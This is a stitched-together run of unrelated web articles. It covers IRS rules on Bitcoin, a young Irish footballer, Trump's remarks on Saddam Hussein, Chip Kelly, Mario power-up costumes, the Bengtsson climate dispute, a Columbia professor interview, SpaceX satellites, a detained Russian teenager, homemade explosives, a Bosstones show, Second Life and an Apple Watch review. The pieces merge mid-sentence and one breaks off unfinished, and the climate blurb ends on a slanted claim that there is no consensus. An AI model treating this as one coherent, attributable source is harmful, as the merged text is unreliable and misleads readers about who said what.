Compliance will almost assuredly be an ongoing issue, given the private nature of the technology. “While users with sizeable Bitcoin wallets might be motivated to comply with the new policy, those with smaller wallets might not find the hassle worth their time,” noted the Tax Foundation in a recent blog post on the ruling. But there may be some unforeseen issues for the IRS — and benefits for Bitcoin users. Given the inherent difficulty with enforcement, the IRS ruling could backfire if more people self-report their Bitcoin holdings as capital losses (in order to gain tax benefits) than capital gains.
If that happened, Bitcoin could essentially become a tax loophole. With the reliance on self-reported Bitcoin holdings and the anonymity of private wallets, the government may need an army of cryptographers and a substantial increase in audits to ensure compliance from small-time Bitcoiners. As with pirated movies and software, enforcement would need to be so draconian it is likely infeasible.
Better yet: if the Bitcoin community managed to change the protocol to increase the rate that miners can “unlock” new coins… Bitcoin might have a built-in incentive to both adopt the currency and report taxable earnings. Let’s say that we accepted an inflationary Bitcoin, much like we have an inflationary dollar, around 2 or 3% annualized. At the end of the year, a consistently inflating bitcoin would trigger no capital gains liability, only capital losses, reducing the tax liability of the filer.
If this held, then Bitcoin could actually trigger regular refunds of varying quantities for both hoarders and spenders alike. Businesses large and small, as well as ordinary consumers could essentially earn a reduced tax burden every time they used Bitcoin, as long as its value kept falling.
Of course, proceeds from Bitcoin sales would still have to be reported, but that is less of a problem than reporting every single capital gain throughout the year. So inflation could mitigate the worries that many Bitcoin businesses and investors have about the new IRS rules.
A perpetually inflating Bitcoin would also be great for miners, in that it would both reduce the cost and increase the incentive to continue mining. It would also be great for law enforcement, since it would encourage voluntary tax compliance. This would also reduce the reporting burden for bitcoin users and add a little extra incentive to use the cryptocurrency. Everybody wins!
If the Bitcoin protocol doesn’t change in this respect, some other cryptocurrency might realize a potential competitive advantage here and take its place as the electronic money of choice. Many economists have already pointed out that a deflating Bitcoin is going to stifle adoption. The IRS ruling will likely only make that worse, forcing the Bitcoin community to improvise.
At the end of the day, Bitcoin is a very unique tool with properties of both an asset and a currency. In that sense, it remains malleable, and with sufficient momentum, may continue to outwit attempts to control or stamp it out. “While the IRS has finally provided an answer,” said the Tax Foundation, “there are good reasons to believe that they got it wrong. Virtual currencies are tricky assets to categorize.”
As Princess Leia said to Governor Tarkin in Episode IV: “The more you tighten your grip, Tarkin, the more star systems will slip through your fingers.”
If the IRS starts to tighten that grip too much, expect Bitcoiners to start syncing up those wallets.
Author’s Note: Matt McKibbin of Liberty Panacea contributed to this postA host of top clubs around Europe are said to be interested in signing Irish-born Zak Gilsenan and according to today's Star, he has opted for Merseyside after his family decided to move to England.
Gilsenan is originally from Castleknock but moved to Australia due to the work commitments of his father. He hit the headlines when he was just nine years of age when he bagged seven goals in a trial game, a feat that earned him a two-year stay at Barcelona in the same academy that produced a certain Lionel Messi.
At that time, Zak's father Stephen said: "We were living in Australia when Zak was spotted by Spurs, who were running football camps over there. We came home with the intention of letting Zak go to Spurs, but in the meantime we had a call from Barcelona.
"One of their former players saw him playing in Oz and recommended him. They offered Zak a trial in May and it was a great experience. It consisted of over 400 boys from all over the world. He was asked back in June when it was cut down to 90.
"Then in a match between the top 16 players, Zak just ran riot and scored seven goals. He was phenomenal. Then we heard back two weeks ago and they offered him a spot."
Manchester United, Chelsea and Arsenal, as well as a host of European clubs, are reportedly interested in signing the Dubliner but it now looks like it's Liverpool who have won the race to recruit Ireland's hottest young prospect.
Watch his array of skills here:
Win One of Five Pairs of Tickets to Ireland v France - Click here
Online EditorsHere's Donald Trump praising Saddam Hussein pic.twitter.com/ybmqoEc59c — Mashable News (@MashableNews) July 6, 2016
Donald Trump would like you to know that Saddam Hussein “was a bad guy, but…” But… Hmmm… But he sure could double park with the best of them? But, man, Hussein could really shoot the three? But what? What! Trump offered up that rhetorical cliffhanger with no obvious conclusion on Tuesday night during a speech in North Carolina. The “but” was, in fact, that Trump finds Hussein’s willingness to kill people he considered terrorists worthy of admiration.
Here’s the text from Trump’s comments:
“Saddam Hussein was a bad guy, right? He was a bad guy. Really bad guy,” Trump said. “But you know what he did well? He killed terrorists. He did that so good. They didn’t read them the rights, they didn’t talk. They were a terrorists - it was over. Today, Iraq is Harvard for terrorism.”
“We need somebody with a tough temperament,” Trump said.
Presumably, like Saddam Hussein? Somewhere along the way Donald Trump has gotten horribly lost in the rhetorical weeds. Apparently, this isn’t the first time the presumptive Republican nominee for president has workshopped praise of the Iraqi dictator and, ahem, state-sponsor of terror.Speculation on college-turned-NFL coaches returning to the college ranks is inevitable.
It's happened for plenty of coaches, from Nick Saban to Jim Harbaugh. And perhaps because the speculation on all of those coaches eventually became truth, it's something Philadelphia Eagles coach Chip Kelly has to deal with now.
The former Oregon coach said "no" Thursday when he was asked at a press conference about whether he or his agent had been contacted by USC or another university about a coaching opening.
"I understand that it's going to happen. We're not successful and we're not winning. I came from college. We're going to go back to college," Kelly said of the perception of what his future will hold. "I hope someday to be like (Giants) coach (Tom) Coughlin and win enough games where I stay around long enough where that speculation ends. But I understand you have to ask the question. I answered it the same way a year ago. I answered it the same way my first year here. It's an unfortunate part of the game because the other part of it is there are people that have lost their jobs. A friend of mind, Steve Sarkisian, is dealing with a big issue right now and I wish him the best."
As for whether such talk will become a distraction for his team, Kelly said "our players could care less about it."
That's surely not the first time Kelly will feel the need to make such a statement, particularly if the Eagles' 2-3 start to the season doesn't get turned around. Having once dominated the Pac-12 as Kelly did, it should come as no surprise if rumors persist.
Follow Chase Goodbread on Twitter @ChaseGoodbread.Top 5 Costumes: Mario
In video games there is no character who has had more costume changes than the main Italian of our dreams himself, Mario. Ever since Super Mario Bros. on the NES he has used his various power-ups to gain new abilities that he has used over the years to defeat Bowser again and again. For our purposes, we are not looking at which is the best power-up for the actual abilities he gets from it, but instead we are looking at the suits themselves he gains from them. Which costumes make him look best for wooing Princess Peach and making Luigi perpetually jealous of his sibling. There have been so many different power-ups over the years, trying to narrow it down to just the top five made it extremely tough. We consulted the Princess, we consulted Yoshi, we consulted Toad (that little bugger knows his fashion!). We gathered their thoughts and then threw all of that out the window and chose the best ourselves. What do they know anyways? The Princess is always getting kidnapped which seems code for Mario catching her cheating on him with Bowser (kidnapped, suuure, we believe you), Yoshi is only good if you need a good jump boost off him sending him to his death, and Toad is, well, Toad. Check out below what we picked for the most influential plumber in gaming and our favorite hero.
5. Penguin Mario: How can you not love this suit? It’s super adorable! And slightly frightening. It’s like normal Mario, but he skinned a penguin and is wearing its carcass. It makes us respect Mario and fear him at the same time. We like that he kept his overalls, even if he ditched his hat, keeping a nice mix of the classic feel with a sense of whimsy. It does leave us with one question, though. How did he hollow out the feet to wear them like shoes?
4. Tanooki Statue Mario: Once again, Mario looks a little creepy, scaring us a little bit, but we do truly like this suit. It is so different from his other costumes and really shows us an honest side of Mario that we rarely see. We finally know that he is actually bald and wears a toupee hence the chrome dome. We imagine he is actually missing an eye, losing it in one of his numerous, eternal battles with Bowser. Then there is the catch pole we imagine he used for catching his first wild Yoshi before beating it into domestication for generations to come. The little flash of a red scarf pulls it all together.
3. Metal Mario: There is no getting around it, Mario in metal looks plain slick even if it is very basic. It keeps him looking the same, but the lack of color makes him look ready to take on the world. But he must weigh a ton. Imagine how much it hurts the poor goombas and turtles when he jumps on them normally. When he jumps on them in metal, there probably isn’t anything left to be scooped off the grass afterwards. A chrome version of our favorite plumber is just super cool and makes us imagine him being sent back in time with Robert Patrick to kill the future of the human resistance. Good times.
2. Boo Mario: With this costume, Mario combines himself with one of our favorite villains of the series. Sure, he looks silly with his big tongue hanging out, but that is one of the things we like about it. Keeping the hat on though really makes this costume shine. It also gives you a glimmer of hope that if you’re absolutely terrible at Mario games and plow through 999 lives, Mario will still come back as a ghost and haunt Bowser for all of eternity. Well, until Luigi gets the call to pull out his Poltergust 5000 and clean house.
1. Tanooki Mario: We never had any doubt about it, the Tanooki costume is easily Mario’s most memorable and best. It isn’t just because of happy days playing Super Mario Bros. 3. The magic and wonder of what Mario is gets wrapped up in this costume. The little ears, the tail. The funny outlined little belly. You could get lost on what the heck a Tanooki is anyways, but don’t over think it. This costume didn’t and it inspired years of great Mario costumes which it continues to do still.
Dishonorable Mention
Shoe Mario: Why does Shoe Mario warrant the distinction of our dishonorable mention this week? Don’t get us wrong, we loved jumping in and having a blast with it in Super Mario Bros. 3. But it’s a shoe. A giant freaking shoe. It doesn’t look cool. It isn’t cute. And it probably smells like death. Think about how bad the inside of your shoe can smell after a day out and about. Now magnify that in actual size by ten and imagine having turtle guts and brains clinging to the bottom of it. There is no protection from a stink-bomb of that magnitude. No wonder Peach is always running out on him and going to Bowser’s castle. This is one of those things to drop off a cliff just like Yoshi when you’re done with him.Share this...
Spiegel science journalist Axel Bojanowski at the online Spiegel today features the controversy surrounding the mobbing of distinguished climate scientist Lennart Bengtsson.
The story covers the events leading up to Bengtsson’s resignation from the Global Warming Policy Foundation (GWPF). Spiegel writes:
The consequences have shocked Bengtsson – and shaken science”.
Concerning the rejection of Bengtsson’s paper by the journal Environmental Research Letters last February, which according to the publisher Nicola Gulley was based on “scientific reasons”, Spiegel quotes Hans von Storch:
‘Scandalous’, Hans von Storch of the Helmholtz Centre in Geesthacht finds the resaoning behind it: The journal obviously did not go by the scientific norms, but rather political utility.”
The Spiegel article features comments from the other scientists, from the side accused of the bullying. According to Spiegel, NASA climate scientist Gavin Schmidt calls the accusations made by Bengtsson “ridiculous”.
Over all the Spiegel article hardly depicts a science that is settled by a consensus among the experts, but rather portrays one that is bitterly and heatedly disputed. Indeed Spiegel even cites Michael Mann‘s characterization of “Climate Wars”. Spiegel adds: “One Austrian professor even requested the death penalty for climate skeptics.
Clearly climate science is all dispute, and no consensus whatsoever.
The Bengtsson controversy prompts Spiegel to pose a series of questions:
Is their science suffering from peer pressure? Is the pressure from consensus too large? Is criticism being |
one of the founding members of the Computer Science Department, and the only tenured CS faculty member who regularly teaches Intro. (I was a dean for a while, too, but I found that the job required a marathon runner, and I am built more like a sprinter or a hurdler.)
What’s your most valuable or unexpected college experience? In my junior year, from a professor of English, Thomas Porter: “Your problem, John, is that you think that literature is like an onion, and that if you peel away the layers you will find a pearl inside.” Me: “Well, yeah. What else would there be in there?” Porter: “More onion.” We named our first son after him.
What’s changed since you came to Columbia? Two new buildings for Computer Science; three boom-bust cycles in the field (the PC, the Internet, the mobile/social waves); five times as many professors now in the CS Department. First Pascal then C then Java then Python. More women in CC, but less women in CS. Paperlessness—except for change-of-grade forms!—and libraries becoming study halls. Restaurants that came and went at the same rate as PhD students. First express mail then FedEx then web submissions—but nothing changes; people still wait until the last minute. And, personally, the disappointment that Artificial Intelligence now actually works (Deep Blue, Watson)—but it gives no insight as to how we work.
What’s the craziest student excuse / extension story you’ve heard? I caught a student cheating on an exam, off her quite brilliant boyfriend. Not a hard call: she had managed, on a left hand page of the blue book, to copy a perfect second half of a computer program, leaving the first half blank. He hadn’t realized what was happening, and had never gone back over his answers to gave her the opportunity to copy the first half of the program that was on the hidden opposite side of the page. And she wasn’t brilliant enough to tear her own half-copy out. In my office, he defended her: “We studied together so much that our brains were synchronized.” Not the only such story I could tell about the high cost of young love. As far as I could find out, they graduated as a couple, but I was not invited to any wedding.
Would you rather give up oral sex or cheese? Cheese. It helps, though, to know that I am lactose intolerant. Not sure what you would call the analogous intolerance to the other, but so far I haven’t shown any symptoms.
Three things you learned at Columbia:
Computer Science majors are the hardest working majors at Columbia. And they get the jobs that prove it. Our students are blessed with great talent and determination. For example, one student to whom I taught a 4000-level course became president of Google China, and another—in the very same class!—won two Academy Awards for his work on computer graphics in movies. Everything at Columbia and in Manhattan runs at near capacity, and is always on the verge of breaking down, and sometimes actually does. Space and time are squeezed beyond reason. To survive, you have to think of both CU and NYC as a kind of virtual reality game.
What’s your advice to students / academics / the human race in general? Hard to say much new here. On Life: “Love and work”, says Freud, who cut and pasted it from Tolstoy. And: “Be compassionate to one another”, says Jesus, who cut and pasted it from Leviticus. And: “You can’t have it all,” says Spar, who cut and pasted it from Shklar. On Science: “The time will come when our successors will be surprised that we did not know such obvious things”, says the Roman Seneca, who probably cut and pasted it from the Greek Zeno.
(The quote in question 1 is cut and pasted from “A Man for All Seasons” by Robert Bolt.)
Intense lecture via Kevin ChenSpaceX requests permission from US government to operate network of 4,425 satellites to provide high-speed, global internet coverage
Elon Musk wants to cover the world with internet from space
The Tesla CEO, Elon Musk, is planning to put more than 4,000 satellites in orbit in order to blanket the Earth with internet access.
SpaceX, the privateer space company led by Musk, is requesting permission from the US government to operate a massive network of 4,425 satellites - plus “in-orbit spares” - to provide high-speed, global internet coverage.
Documents filed with the US Federal Communications Commission (FCC) on Tuesday propose an initial launch of 800 satellites to create an orbiting digital communications array to cover the US, including Puerto Rico and the US Virgin Islands.
In the filing, SpaceX said: “The system is designed to provide a wide range of broadband and communications services for residential, commercial, institutional, government and professional users worldwide.”
Such a system would provide a space-based alternative to cable, fiber-optics and the other terrestrial internet access currently available.
SpaceX is not the first to propose such a system. Similar internet-via-satellite networks are under development by privately owned OneWeb and by Boeing, while a $200m satellite leased by Facebook’s Internet.org initiative, which has a similar goal of providing global internet access, was destroyed in an explosion of the SpaceX launch vehicle contracted to send it into orbit.
Each satellite SpaceX proposes to put into orbit, without its solar panels extended, is the size of an average car, measuring 4m by 1.8 by 1.2m and weighing 386kg. SpaceX has not set a date for the satellite launches, but said that they would orbit in a range between 714 miles and 823 miles above the Earth.
Musk said in January 2015 that the plan would cost at least $10bn.
It gained $1bn in funding from Google for the project. Google has been attempting to perform a similar feat, blanketing the globe in internet access, using high-altitude balloons. Facebook’s other internet initiatives have revolved around the use of high-altitude solar-powered drones.
SpaceX operates a satellite launching business, with contracts with Nasa for supplying the International Space Station - the first privateer space firm to do so. But its rocket launches have been on hiatus since 1 September following the Falcon 9 booster explosion.
The company hopes to resume launch operations next month.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A teenager has escaped from a rehab clinic after his traditionalist father locked him up after he came out to him aged 16.
Ivan Kharchenko, a Moscow teenager, spent 12 days in the Marshak rehab facility, supposedly used to treat drug addictions. He was released after 12 days of forced detention following a siege staged by his friends and supporters including by the Russian human rights campaigner Dmitry Aleshkovsky and State Duma Deputy (MP) Ilya Ponomaryov.
He was placed in the facility against his will after his paternal grandmother had tricked him into seeing a witch who attempted to exorcise the ‘spirit of homosexuality’ from him. When this route failed, his father turned to doctors and medication for help.
“I’d rather have you disabled or a vegetable than gay,” the father told the son according to local Ekho Moskvy radio.
Although the formal reason for his incarceration was alleged drug and alcohol abuse, his lawyer Violetta Volkova told Ekho Moskvy radio that there was no evidence of such behaviour. She said that he was so drugged by the facility that he forgot the names of his own friends.
The BBC Russian Service reports that he did manage to place a banner reading “I love you” addressed to his boyfriend out of his window at the facility.
The activists who freed him led by insist that his placement in the centre without his consent amounted to kidnapping. He is now in the care of his mother who is reported to have no objections to him being gay. Police will now investigate how he became to be hospitalised.
The Russian city St Petersberg has made it illegal to promote homosexuality through ‘propoganda’ legislation that appears to prevent organised gatherings of LGBT activists. It is expected that the law may one day become implemented nationwide.
Yesterday PinkNews.co.uk reported that the first person to be arrested under the new law was cleared by a court of promoting homosexuality.
86 per cent of Russians support banning ‘gay propaganda’ although 94 per cent of Russians say they have never actually seen any.
Earlier this month, Russia refused to agree to a joint statement by G8 leaders supporting LGBT rights.Police and fire investigators are trying to determine who has been setting off a series of homemade explosives near Route 53 in recent weeks.
Police and fire investigators are trying to determine who has been setting off a series of homemade explosives near Route 53 in recent weeks.
Fire Chief Jeffrey Blanchard said the explosions have not caused any injuries or property damage, but the State Police bomb squad had to be called in after two unexploded devices were found near Pine Street and Tower Hill Drive on March 12. Police had been sent to the area after witnesses at the Target store on the other side of Route 53 reported seeing a bright flash and hearing two explosions.
Fire crews were also called to the nearby intersection of Hearthstone and Fieldstone lanes on March 15 for a report of an explosion, but no devices were found. Blanchard said investigators have since talked with residents who reported hearing other explosions in the past but did not call 911 to report them.
Blanchard declined to describe the devices recovered March 12, saying he did not want others to try to reproduce them. He said they appeared to have been powerful enough to cause serious damage, particularly if they were discovered by an unsuspecting person.
“If you were in close proximity to it when it went off, it could kill you,” he said.
Jennifer Mieth, a spokeswoman for the state Department of Fire Services, said the two devices detonated by the State Police bomb squad March 12 were turned in by a resident who found them alongside the road. She said the state was not involved in Hanover’s investigation.
Blanchard said he is concerned that if someone continues to set off the illegal devices, they may eventually cause property damage or injuries. He said anyone caught using the devices could face up to 25 years in prison and fines of up to $50,000.
Neal Simpson may be reached at nesimpson@ledger.com.
READ MORE about homemade explosivesOn Saturday, July 20th, The Mighty Mighty Bosstones played to a packed audience on the Boston Common. As part of their set, they announced the 16th Hometown Throwdown at the House of Blues in Boston. Making the announcement by way of video was Tyler and JR from Spring Heeled Jack USA (you might also recognize JR RePete from Less Than Jake). In case you couldn’t make it to the common that day, the video’s been posted to YouTube.
This year’s throwdown takes place December 27-29 and tickets go on sale September 20th. We’ll post the link when we see it.
UPDATE 9/20/13 9:15 AM: Tickets go on sale at 10am
Hat tip to Readjunk for catching the video. ReadJunk is also spreading the delightful rumor that Spring Heeled Jack USA will be playing one of the dates. But just in case you should see them at the Middle East this October.
(Yes, I swore I wouldn’t post about the Bosstones until tickets went on sale and yes I broke that promise. Deal.)
Be sure to visit our calendar featuring Boston area ska shows.
UPDATE 9/29/13 3PM: Bosstones have announced some of the openers to help you with your ticket decisions (you mean you’re not going to all three nights?). H/T Vanyaland:
In an effort to help you make informed decisions around ticket purchases, we are announcing (almost) all the support bands early this year. We are really excited about the line up! As usual we are neck-deep in all kinds of crazy plans and preparations. We hope your holiday plans collide with ours and that we see you in Boston!
Much love MMB
12/27: Mephiskapheles and Continental
12/28: Youth Brigade and special guests TBA
12/29: Sam Black Church and RebuilderEpisode #28 of The Drax Files Radio Hour was posted on Friday July 18th. After a measure of disappointment on my part that the promised interview with Jacquelyn Ford Morie didn’t appear – for fully understandable reasons – this segment makes up for it with a chat with long-term Second Life business man Lislo Mensing, or as he’s known in the physical world, Stefan Weiss.
Stefan is the driving force behind a recreation of the heart of Munich in Second Life. He’s also the owner of Teledollar, a Linden Dollar Authorised Reseller, and he has some interesting first-hand experiences of trying to marry-up the virtual and physical worlds.
This is perhaps the most informal interview Drax has conducted to date in the radio show, taking place as it does over lunch in the physical Munich, where he met Stefan while enjoying his summer vacation in Germany. As such, this is both the first in a trio of such informal “lunch with a lifer” interviews and is also something of an introduction to Bavarian cuisine!
Virtual Munich, which dates from 2007, is a recreation of the centre of Munich. It features many of the landmarks from its physical namesake, including several of the city’s churches and the old city gates. All of these, while prim builds, have been constructed using around 6,000 photos taken of the actual city of Munich, allowing as much as possible of the original’s essence to be recaptured within the virtual constraints of two regions in SL. Streets and plazas are faithfully recreated, and even a portion of the underground (subway) transit system has been reproduced (tickets L$69), which connects the heart of the city to the surrounding rural regions.
In developing the build, Stefan saw the potential for a symbiotic way of promoting the virtual in the physical and vice-versa. Approaching the Munich civic authorities, he put forward the idea that virtual Munich could be used as a means of promoting the physical Munich, offering people who might be considering a visit to the city the means to immersively learn about it and explore it prior to actually visiting. There was initially a positive response to the idea, and even talk of including the virtual version of Munich in documentation about the city’s 850th anniversary.
Unfortunately, all this came to nought when, in late 2007, German media outlets (and others around the world) followed the UK’s Sky News in running exposés on sexual ageplay rings within Second Life. Understandably, support for the project from both Munich’s civic authorities and from businesses rapidly declined in the wake of the reports; so much so that Stefan was refused permission to take photos of the non-public areas of some of the historic buildings which he had hoped to be able to share with people by recreating them in-world.
While there has always been much speculation as to the impact these and other such exposés had on the wider view the public and businesses had on Second Life, Stefan’s frank description of the situation he personally faced really adds perspective to one of the factors that undoubtedly led to SL fall from grace in the media’s eyes, and which may have had a far greater impact on the media’s perception of the platform than its inability to live up to the hype created around it.
Beyond this, the conversation touches on the relevance of virtual worlds, with Stefan pointing out that really, not much has changed over the years where the broader attitude towards VWs is concerned. This, he points out, is largely due to what I’m going to henceforth call the Pamela Effect henceforth (particularly after the re-run of Drax’s interview with her in segment #27 of the Drax Files Radio Hour): most of those in the “mainstream” market simply don’t see VWs as being in any way relevant to their physical and digital lives and activities, and so don’t see why they should bother giving VWs a go.
Not only is this attitude perhaps common among the vast majority of Internet users, but it obviously also encompasses businesses as well, who have far more accessible means at their disposal for marketing the products and services and of reaching an audience. It is relevance – far more than issues of getting the keyboard and mouse “out of the way” – which is likely going to be the major issue for anyone trying to drive a virtual world even further into the mainstream consciousness – at least for a the foreseeable future.
I’ve mentioned three reasons why I think this is the case in a previous article (although these are the only reasons for my feeling this way). Stefan points to a couple more; things which are regularly discussed, at least among those of us already engaged in VWs: scalability (in terms of having an environment which can actually support compelling, mass audience / mass participation activities), and accessibility. In this latter respect, Tony Parisi is more than likely correct in his view that unless a virtual world embraces the ease of access presented by the web, it’s going to have trouble making its presence felt.
Relevance is also something that came to mind when the Oculus Rift received its obligatory mention in the interview. While much has been made of the potential of VR bringing about a renaissance in interest in virtual worlds, very little has really been said about the potential for VR to do exactly the reverse, and leave virtual worlds still locked into a narrow niche within the mainstream market.
Simply put, if VR brings about the kind of situation which is discussed in the show, allowing hundreds and thousands of people world-wide to sit down and witness a World Cup final as if they were there, or a Wimbledon championship or take a ride into space or stand on the surface of Mars or explore the wreck of the Titanic or do a hundred other things that might not be otherwise possible for them, and share the experience with others – then why should they even bother with farting around with a virtual world?
Towards the end of the piece, things get a little confusing as other virtual environments, such as Twinity and Google Lively are touched upon amidst some lunchtime chuckles. There’s also a brief overview of the Teledollar operation before times catches up with Stefan and Drax, and things are cut short by the needs of the physical world and work.
This is very much a curate’s egg of a conversation; there is a lot discussed and mentioned which offers food for thought. The over-the-lunch-table nature of the conversation lends a curious tilt to things, helping to add flavour to the proceedings, and giving it an oddly intimate feel for the listener, as if we’re sitting on a table close by and overhearing their discussion as they eat; and what interesting listening it makes!
AdvertisementsGay marriage devalues heterosexual marriage and transgender women devalue the womanhood of cisgender women. Wow, I don’t think I’ve ever started a post on such an inflammatory note! OK, before you get the pitchforks and torches out, I have not gone over to the dark side and still firmly planted on this side of the rainbow. The Oz side, not the dreary black and white Kansas one. We have all heard those types of statement before though, haven’t we? Let’s talk about that for a minute.
The reason I’m writing this is that I just read a CNN article (apparently I spend way too much time there) where someone wrote an opinion piece about the shift of focus on gay marriage opposition. Back in the Victorianesque 1990’s when DOMA and DADT were being championed (oh Bill, how we loved you, but you miserably failed us), the big argument from the right was that homosexuality was a morally and sexually perverse swatch of evil cut from the seat of the devils own britches. It was assumed that the rampant promiscuity and public fornication endemic to the lifestyle chosen by homosexuals would be tarnation and ruination and therefore legal defense was needed for the angelically innocent straights to continue dutifully, but not enjoyably, keeping up the population base.
Cut to now when gay couples simply want to raise two parent families and ensure their spouses have legal right to the Vitamix they bought together, and the story changes. While the notion that homosexuals run around attempting to deviously recruit once stalwart husbands and seduce pubescent boys tends to linger, the right still needs to promote the notion that US law should mirror biblical law, line for line. The new strategy is to claim that gay marriage somehow devalues straight marriage. Seriously. We in the trans community are a little familiar with this. While the vast majority tend to be trans inclusive, or at worst, trans neutral, there remain pockets who feel strongly that the existence of trans women intrinsically devalues the womanhood that is rightfully theirs and theirs alone by birthright. It took me a while to really understand what they were even trying to say because the notion seems so, well, petty.
From strictly my point of view, it seems I have to put several magnitudes greater an effort into achieving even an approximation of what most women have through a good fortune of birth. The idea though that my painful corrective actions in any way diminishes what is really an unquantifiable value for someone else is ludicrous. I think the root of this kind of thinking is pure and simple exclusivity and the level of personal standing people feel they have by attaining this. If Carol has Vitamix and now Nancy down the street also went and got herself a Vitamix, I guess Carol no longer feels like such hot shit because she is the only one who can liquefy an eggplant in 14 seconds. She can still do this, and actually has the professional model which Nancy couldn’t afford, but still, she’d have felt a lot better if there was some kind of law that kept Carol in her place. Yes, by the way, I did actually just buy a Vitamix and excited about it. I assure you though, if every one of you goes and buys a better one tomorrow, I’ll be happy for you and not one bit less satisfied with mine.
That is the real conundrum of this for me. On the marriage side of things, one would think that heterosexual couples would be pretty gratified by the gay push for rights. “Yay! We were doing the most desirable thing all along! How totally validating!” I would think the same of anti-trans RadFems. “Yay! Less men, more super zealous feminists!” They just can’t though, and this goes down in my book of weird counterproductive shit people insist on doing, like hiking 30 feet from the unmarked border of Iran or mixing cement in their beautiful new red Vitamix. Really, go get one; I’d love to share the joy with you.OWINGS MILLS, Md. -- When Devin Hester was released by the Atlanta Falcons in July, seven teams inquired about the four-time Pro Bowl returner.
The Baltimore Ravens ultimately landed Hester because of their track record and system.
"It wasn’t a hard choice to pick the Ravens," Hester said Tuesday after his first practice with the team.
Hester's priority was going to a team that dominated in special teams. He found out Baltimore ranked in the top five the past five years and was No. 1 last season.
It proved to be a bonus that the Dave Toub, his special teams coach with the Bears, worked as a quality control coach for special teams for John Harbaugh in Philadelphia.
"They run the exact same scheme," Hester said.
Hester will return kickoffs and punts for the Ravens against the Buffalo Bills on Sunday, Harbaugh said. He will handle those roles despite practicing for the first time with Baltimore only five days before the season opener.
"He looks like a player immediately," Harbaugh said. "He's actually in very good shape. He looks like he is ready to play. I'm not worried about him being able to handle the job at all."
Hester, 33, owns the NFL records for most returns for touchdowns (20) and most punt returns for touchdowns (14). He leads the NFL in punt return average (11.7) over the last five seasons.
But Hester was limited to career-low five games last season because of a big toe injury. He had surgery in January, and he realized that patience was going to be the only remedy.
"This was an injury where I felt like time was the only thing that was going to heal it," Hester said. "I did all the treatment I could do and it still wasn’t the way I wanted it to be. At the end of the day we just realized, time heals everything.”
The Ravens were hoping that their returner would come from the training camp battle between Michael Campanaro and Keenan Reynolds. But it became apparent early on that Baltimore had to consider other options.
Baltimore was among the teams who contacted Hester one week after he was released in July. Now, the Ravens are banking on Hester to provide that spark that was missing from the return game all preseason.
“A returner, I feel, is all about experience," Hester said. "Everybody out here can run fast, can make guys miss. I feel when you’re back there, you have to be able to manage the game, you have to make the right decisions, pick up small instances of just repetition. I put a lot of time in it from the return standpoint. I feel like I can come here right away and contribute.”Editors' note (Sept. 12, 2018): The Apple Watch Series 3 reviewed here is now available for a reduced price of $279. The Apple Watch Series 1 has been discontinued. Apple also announced the Apple Watch Series 4, which will start at $399 for the Series 4 model, $499 for the LTE model. Pre-orders for the Watch Series 4 will start on Sept. 14, and the watches will be available on Sept. 21.
Update, 2018:
Apple launched the Apple Watch Series 3 in September 2017 in a realized hope that the third time's the charm. With improved fitness tracking and music syncing, plus the ability to connect to a cell network instead of relying on your phone, the Apple Watch is still the best smartwatch out there.
Instead of duking it out with a smartphone manufacturer, Apple's main source of competition is the much more affordable Fitbit Versa. Fitbit finally caught up on the design front and the Versa has better battery life, but it lacks the communication features of the Apple Watch. While the Versa has only been available since April 2018 and won't get a refresh for a while, you can likely expect an updated Apple Watch as early as this September. We'll see a Watch OS5 release fairly soon as well.
Check out CNET's best wearables for more information on competitive products.
Our review of the Apple Watch Series 3 -- originally published on September 20, 2017 and which otherwise is mostly unchanged -- can be read below.
I spend a lot of time with a phone in my face.
That's why I was attracted to the original Apple Watch. It sold the fantasy of a watch-as-phone: An iPhone Micro on my wrist. One less gadget.
But because the Apple Watch had to be paired to my iPhone to do anything constructive, the phone never went away. I just ended up alternating between staring at two different screens.
That's changed now, kind of, with the Apple Watch Series 3 ( ). It adds built-in support for cellular connectivity. The full Dick Tracy communicator, much like Samsung, LG and others have already tried.
View full gallery Sarah Tew/CNET
I've been testing the Apple Watch Series 3 for a week, using it as my phone, fitness tracker, Apple Pay wallet and iPod. And, yes, I've even been making phone calls with it. It lets you stay connected in those few places where even phone addicts may skip the phone: Going for a walk around the block. At the gym. At the pool or the beach. In the bedroom, while you're trying to fall asleep.
The irony of having a watch that's a phone means you're more tethered, not less. But you're more limited, too. For better or worse, this isn't a full micro-iPhone. There's no camera. It's not easy to respond to emails and messages. I can't really tweet, read stories or watch videos. And you still need an iPhone to set it up and get the most out of it.
Other caveats abound. Battery life limitations severely curtail phone calls and GPS-aided workouts. There's still more Apple needs to do to maximize fitness tracking and streamline the software. And you'll be paying monthly subscription fees (for wireless service and for Apple Music) to get the most out of it.
All that said, the Apple Watch Series 3 is the best phone watch I've tried. Setup is easy, and toggling from cellular to Bluetooth and back again is mostly seamless.
But I still find myself reaching for the iPhone.
Editor's note: See the "Connection quirks" section below for information on a Wi-Fi issue on the cellular Series 3 models. More testing is still to come. Ratings are provisional until those tests are completed.
Cellular, and how it works
The big upgrade on the Apple Watch Series 3 is that it adds always-connected cellular functionality. It works works on all major cellular carriers -- in the US, at least -- which is nice.
Cellular supports data and voice -- where there's the proper coverage, of course -- and the Watch uses the same number as your iPhone. The catch, of course, is that it costs money: $10 per month in the US, above and beyond your existing wireless fee. And despite the fact that the Watch is designed to free you up from your phone, you'll still need your iPhone to set it up and to install apps. And no, it doesn't work with Android phones.
The Apple Watch communicates to the outside world in three steps. It looks for your iPhone first, pairing via a Bluetooth connection if it's nearby. If not, it tries Wi-Fi (new networks can't be added on the Apple Watch directly, but it syncs and knows networks that your iPhone does). If neither of those options are available -- say, if you're out hiking -- the Watch then enables LTE cellular, which is otherwise switched off to conserve power.
View full gallery Sarah Tew/CNET
That auto-switching between Bluetooth, Wi-Fi and cellular is managed by Apple's new W2 wireless chip. It saves some battery life, but it takes getting used to. In my tests, a red "X" appeared sometimes on top of the watch screen to suggest disconnecting from Wi-Fi, but vanished once LTE had kicked in. A new Apple Watch watch face, Explorer, shows signal strength as from one to four green dots. Otherwise, signal strength pops up in the swipe-up control center where Bluetooth, Airplane Mode and other quick settings live.
View full gallery Sarah Tew/CNET
I could check things on Apple's apps, but third-party apps wouldn't always work. And also, to get notifications from third-party apps in the cloud, your iPhone needs to be powered up somewhere so the Watch can communicate with it via the cloud. So, yeah: even if you're out running without your iPhone, it still needs to be powered up and online somewhere. Weird, but true.
Apps can't be installed directly from the watch, either, unlike on Android Wear and Samsung Gear watches. But I could easily check my email, even on my work account (which automatically imported settings from my iPhone during setup).
View full gallery Sarah Tew/CNET
